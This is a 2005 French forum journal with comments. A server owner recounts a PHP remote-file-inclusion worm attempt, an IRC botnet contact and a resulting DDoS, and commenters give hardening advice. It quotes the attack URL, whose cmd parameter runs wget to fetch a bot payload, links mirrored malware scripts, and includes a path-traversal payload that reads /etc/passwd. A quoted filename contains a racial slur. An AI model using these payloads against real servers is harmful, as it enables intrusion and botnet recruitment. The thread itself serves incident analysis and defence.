Journal Le net est un endroit mal fréquenté.

Posté par Colin Leroy (site web personnel) le 11 janvier 2005 à 10:12.

Étiquettes :

jan.

2005

Bonjour,

Description de l'environnement, d'abord:
J'ai un serveur perso, hébergé sur mon ADSL et derrière un
routeur/firewall.
Comme je suis parano, en particulier de me faire zombifier, le serveur
est firewallé en local en OUTPUT (!y), et re-firewallé pareil par le
routeur/fw (des fois que).
Le serveur héberge 5/6 sites dont certains dynamiques, la plupart en
php3/php4. Il est à jour.

J'ai remarqué dans mon syslog des lignes d'ipchains qui
refusaient la connexion à des serveurs www extérieurs (hourra pour ma
paranoïa;-)).

Comme je n'arrivais jamais à comprendre pourquoi, j'ai mis en place
un script php que j'ai spécifié en auto-prepend dans la conf de php.
Dans ce script il y a un test pour voir si QUERY_URI contient 'wget'
(ou l'équivalent encodé en hexa), et dans ce cas, maile root et
tue le script. C'est loin d'être blindé comme test, mais c'était
histoire de voir, étant donné que les lignes de REJECT dans kern.log, je
les ai vues assez tard pour ne rien réussir à retrouver dans les logs
apache (et puis je voulais le voir rapidement la prochaine fois).

Quelques jours plus tard, www-data me maile:

> ...index.php?page=http://members.lycos.co.uk/shitbag/readme.txt?&(...)
> cmd=cd%20/tmp;wget%20http://members.lycos.co.uk/shitbag/nigger.txt(...)
>
> with Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)

Il s'agit d'une variante du ver Worm.Sandy, je pense. Il essaye
d'inclure readme.txt qui contient du code php destiné à exécuter $cmd
(qui télécharge le payload) puis exécuter le payload téléchargé.
nigger.txt contient un gros script qui en gros, te transforme en zombie
qui attend des ordres sur IRC.

Ça ne marche pas sur mon serveur, et ça ne marchera probablement
jamais parce que:
a) nos scripts sont pas trop bancaux (le script visé, index.php,
fait un include($page. ".php"), et la concaténation fait qu'il
aurait dû ajouter une page qui finit par .php sur le site compromis et
faire en sorte d'include()r celle-là). Dans l'absolu il devrait faire un
include("./".$page.".php"), mais bon. C'est pas mon script ;-)
b) toute connexion externe est bloquée (à part pour le mail et le DNS)

Le point intéressant de ce ver c'est que d'après ce que j'ai lu, ce
ver chope ses cibles en cherchant"allinurl:page= php " ou un truc du
genre. Google bloque les requêtes qui y ressemblent, maintenant:

http://www.google.com/search?q=allinurl:%22page%3D%22+.php&hl=e(...)

En pièce jointe les deux fichiers qui constituent l'exploit, si ça vous
dit de les analyser...

Il y a à peu près 80 zombies sur le canal irc référencé dans le
script, je n'ai pas dû m'y connecter comme il faut parce que je m'en
suis fait jeter :-/

Ah, juste avant d'envoyer ce mail, je vois que le gentil admin m'a parlé
:)

(weed__ c'est moi qui essaye de faire le zombie)

09:52 <larico_> im gonna ddos your website to hell, lolool
09:52 <weed__> useless
09:53 <weed__> You'll get other zombies
09:53 <larico_> so?
09:53 <larico_> i dont mind
09:53 <weed__> no need to be childish
09:53 <larico_> i really dont care
09:54 <weed__> np
09:54 <weed__> have a nice day
09:55 <larico_> ya u to
09:55 <larico_> starting in one sec
09:55 <weed__> you know, it's a DSL line
09:55 <larico_> so?
09:55 <weed__> It won't be very hard to saturate it
09:55 <larico_> hold
09:56 <weed__> ok, brb
[ à ce stade je suis parti boire mon café ]
09:56 <larico_> k

Il est vrai que ça ne répond plus beaucoup chez moi.

pour ceux que ça intéresse, scripts mirrorés sur
http://members.lycos.co.uk.nyud.net:8090/shitbag/readme.txt(...)
http://members.lycos.co.uk.nyud.net:8090/shitbag/nigger.txt(...)

# euh...

Posté par Nicolas Boulay (site web personnel) le 11 janvier 2005 à 10:57. Évalué à 4.

Question bète ? n'as-tu pas pensé transmettre toutes les infos concernant cette échange à la justice pour foutre cette emmerdeur devant ses responsabilités ?
"La première sécurité est la liberté"
- [^] # Re: euh...
  
  Posté par Calim' Héros (site web personnel) le 11 janvier 2005 à 11:03. Évalué à 2.
  
  ou a sont hebergeur?
- [^] # Re: euh...
  
  Posté par Colin Leroy (site web personnel) le 11 janvier 2005 à 11:25. Évalué à 4.
  
  A vrai dire je pense que ce serait une perte de temps. Le type est certainement branché via un proxy sur son canal IRC. Il est aussi, certainement, au venezuela où je ne sais où.
  
  Par contre je vais sans doute contacter colosolutions.com, ça le fera au moins chier puisqu'il devra changer de serveur.
  
  Jusqu'ici je n'ai contacté que Nerim (mon provider) pour qu'ils suspendent mon compte - ce qui aura pour effet de nullrouter mon IP -, ça évitera que le DDoS emmerde tous mes voisins de sous-réseau...
# A faire.

Posté par romain le 11 janvier 2005 à 11:08. Évalué à 4.

Soit le gars est très très bête, soit... c'est un abruti.

En tout état de cause, le source donne quelques (fausses ?) pistes :
- colosolutions.com héberge le canal irc ; facile à virer avec un mail de plainte là-bas ($ whois colosolutions.com + mail à abuse),
- cjb.net, les sites sont déjà fermés (la redirection au moins),
- zipmail.com, peu de chance, mais ça vaut le coup d'essayer.
# que dit la lois ?

Posté par skeespin (site web personnel) le 11 janvier 2005 à 11:11. Évalué à 2.

Je me suis amusé, il y a environ un an
a ouvrir sur ma machine un proxy anonyme,
pour aller à la peche.

J'ai donc récupéré pas mal d'IP de personnes
qui utilisent le net pour des choses assez dégueulasse.

Je me pose donc la question:
- Est ce que celà peut il constituer une preuve ?
- La preuve est elle recevable ?
- Puis je etre poursuivi a cause du transit d'information
illégale sur ma machine ?
- [^] # Re: que dit la lois ?
  
  Posté par Calim' Héros (site web personnel) le 11 janvier 2005 à 11:21. Évalué à 2.
  
  La loi doit dire que l'IP est une donnée personnelle et que tu ne doit pas pouvoir la ressencer comme ca. Maintenant elle doit dire que tu doit pas laisser certaines categories de la fange humaine agir sans rien faire. Alors t'es coincé. (enfin c'est plus hypotétique parce que je suis pas un homme de loi)
# faille

Posté par Laurent J (site web personnel, Mastodon) le 11 janvier 2005 à 13:18. Évalué à 10.

a) nos scripts sont pas trop bancaux (le script visé, index.php,
fait un include($page. ".php"), et la concaténation fait qu'il
aurait dû ajouter une page qui finit par .php sur le site compromis et
faire en sorte d'include()r celle-là). Dans l'absolu il devrait faire un
include("./".$page.".php"), mais bon. C'est pas mon script ;-)

Ouauaaaaiiii super, c'est quoi l'url de ton site ?

index.php?page=../../../../../../../../etc/passwd%00

C'EST UNE TRES MAUVAISE IDEE DE PASSER UN NOM DE FICHIER, OU UN MORCEAU DE NOM DE FICHIER EN PARAMETRE, DESTINÉ À UN INCLUDE

Tes scripts sont trés trés bancaux pour moi.

Si tu ne l'as pas déjà fait, je te recommande vivement d'indiquer un open_base_dir dans ton php.ini. Et de regarder dans tes applis si il y a pas des fichiers texte non php (ini, xml ou autre) qui contiendrait des parametres de conf de ces applis (l/p des bdd etc...)
- [^] # Re: faille
  
  Posté par Laurent J (site web personnel, Mastodon) le 11 janvier 2005 à 13:23. Évalué à 5.
  
  j'oubliais, pour eviter ce genre de vers, il suffit juste d'interdire dans php la possiblité d'inclure/de charger des fichiers distants ( paramètre allow_url_fopen dans php.ini)
  - [^] # Re: faille
    
    Posté par Colin Leroy (site web personnel) le 11 janvier 2005 à 13:45. Évalué à 2.
    
    Duh. Merci pour tes conseils... Je n'étais pas conscient du %00...
    Je les transmettrai dès que possible, c'est à dire pas maintenant car je ne suis plus connecté.
  - [^] # Re: faille
    
    Posté par lesensei le 11 janvier 2005 à 13:51. Évalué à 1.
    
    Hum, euh, là, c'est wget qui va récupérer le fichier si je ne m'abuse, donc empêcher php de le faire ne changera pas grand chose... Par contre, on peut limiter au maximum l'utilisation de commandes shell ("cmd=...") et "échapper" celles-ci autant que possible.
    
    M'enfin, flagellez-moi si je me trompe...
- [^] # Re: faille
  
  Posté par jaroug (site web personnel) le 11 janvier 2005 à 13:46. Évalué à 1.
  
  Pour y pallier, on peut passer un chiffre et faire la traduction de ce chiffre en un nom de fichier (tableau associatif toussa), et dans le meme temps verifier que c'est bien un numerique qui est passé dans l'url.
  
  url de type :
  index.php?page=1
  - [^] # Re: faille
    
    Posté par Krunch (site web personnel) le 11 janvier 2005 à 14:15. Évalué à 2.
    Moi ce que je fais c'est un tableau associatif avec comme clé un nom de page et rien en contenu. La première clé du tableau est la page par défaut (mais on peut remplacer par une 404, suffit de pas envoyer les headers HTTP avant). Genre:
```
if (!isset($_GET['pg']) || !in_array($_GET['pg'], $valid_pages))
    $pg = $valid_pages[0];
else
    $pg = $_GET['pg'];
require("includes/pages/$pg.inc.php");
```
    Evidemment si global_vars est on, faut faire gaffe à la définition de $valid_pages. Vaut mieux utiliser
```
$valid_pages = array('foo', 'bar', baz');
```
    que
```
foreach ($pages as $pg)
    $valid_pages[$pg] = 1;
```
    parce qu'alors un attaquant pourrait faire une requète genre machin.php?valid_pages['fichier_secret']=1&pg=fichier_secret
    pertinent adj. Approprié : qui se rapporte exactement à ce dont il est question.
    - [^] # Re: faille
      
      Posté par Laurent Coustet le 11 janvier 2005 à 19:23. Évalué à 1.
      
      Pour être sécure la dessus en php, faut pas se casser la tete 10 fois, et faut faire un coup de if(!file_exists($file.".php")) { return; } et pi c'est tout ...
      - [^] # Re: faille
        
        Posté par Krunch (site web personnel) le 11 janvier 2005 à 19:49. Évalué à 2.
        
        Ben oui mais non: genre si tu as un répertoire "privé" protégé par login/mdp au niveau HTTP (les .htaccess d'Apache) dans lequel tu as des .php qui ne sont censés être accessibles normalement, ton truc ne convient pas. Encore pire: apparement depuis PHP5, file_exists() gère certains protocoles dont FTP, avec ça tu te retrouves avec une belle grosse faille XSS.
        pertinent adj. Approprié : qui se rapporte exactement à ce dont il est question.
        
        [^] # Re: faille
        
        Posté par Laurent Coustet le 11 janvier 2005 à 22:23. Évalué à 2.
        
        faut dire que php, ça craint de plus en plus avec leur feature a la con... Comme chez microsoft, ... </troll>
        
        [^] # Re: faille
        
        Posté par Krunch (site web personnel) le 11 janvier 2005 à 22:40. Évalué à 3.
        
        Le problème c'est plutôt que PHP c'est tellement facile que n'importe quel neuneu de base peut faire un site web qui marche plus ou moins en quelques heures mais qu'il n'a aucune idée des problèmes de sécurité possibles jusqu'à ce que son site se fasse défacer.
        pertinent adj. Approprié : qui se rapporte exactement à ce dont il est question.
# Ne pas faire les malins avec les "scripts kiddies"

Posté par Robert Palmer (site web personnel) le 11 janvier 2005 à 13:54. Évalué à 9.

Parce que malgré leurs "lolool" et leur attitude "childish" on ne sait pas de quels moyens ils disposent pour faire un DDoS.

Et celui-là visiblement avait assez de moyens pour perturber sérieusement le réseau de Nerim, comme le rappelle Raphaël sur les newsgroups internes :

L'ensemble du réseau a été perturbé, et plus particulièrement les sites de Marseille et d'Ivry, par un flood de 550000 paquets/s vers un abonné Nerim Pro.

Cela a également provoqué une déconnexion de la moitié des abonnés Nerim Pro (dégroupés ou non).

La ligne incriminée sera déconstruite chez LDCOM afin que cela ne se reproduise pas.

Et en image : http://stats.nerim.net/nav/global/transit-in/(...)

Enfin bref, j'espère que tu pourras t'arranger avec Nerim pour retrouver ton accès parce que visiblement tu ne t'y attendais pas, mais si ça peut servir d'avertissement à d'autres...
Pensez à l'environnement avant d'imprimer ce commentaire - Please consider the environment before printing this comment
- [^] # Re: Ne pas faire les malins avec les "scripts kiddies"
  
  Posté par Colin Leroy (site web personnel) le 11 janvier 2005 à 14:00. Évalué à 2.
  
  En effet... "Pertinent" hélas :-/
- [^] # Re: Ne pas faire les malins avec les "scripts kiddies"
  
  Posté par Cali_Mero le 11 janvier 2005 à 15:30. Évalué à 3.
  
  Il faut aussi relativiser : ce n'est qu'un flood !
  
  Quel mal a t-il fait finalement ? Saturer une ligne personnelle pendant quelques minutes... C'est pas vraiment ce que j'appelle un méchant. Tout juste un taquin un peu plus bricoleur que la moyenne.
  
  Tout ce qu'il a gagné dans cette histoire, c'est de mobiliser l'attention de grosses entités contre lui... Pour absolument rien en échange. Pas vraiment astucieux, je trouve.
  - [^] # Re: Ne pas faire les malins avec les "scripts kiddies"
    
    Posté par Laurent Coustet le 11 janvier 2005 à 18:10. Évalué à 1.
    
    ça a déconnecté la moitié des utilisateurs en nerim pro hein, donc c'est pas juste une ligne perso saturée, c'est tout un lns en lair
    
    Ceci dit, la résisiation de ligne comme il a été question sur l'usenet de nerim, je trouve cela tout betement inadmissible...
    - [^] # Re: Ne pas faire les malins avec les "scripts kiddies"
      
      Posté par Xavier Poinsard le 14 janvier 2005 à 13:16. Évalué à 1.
      
      Sa ligne a été réactivée.

Suivre le flux des commentaires

Note : les commentaires appartiennent à celles et ceux qui les ont postés. Nous n’en sommes pas responsables.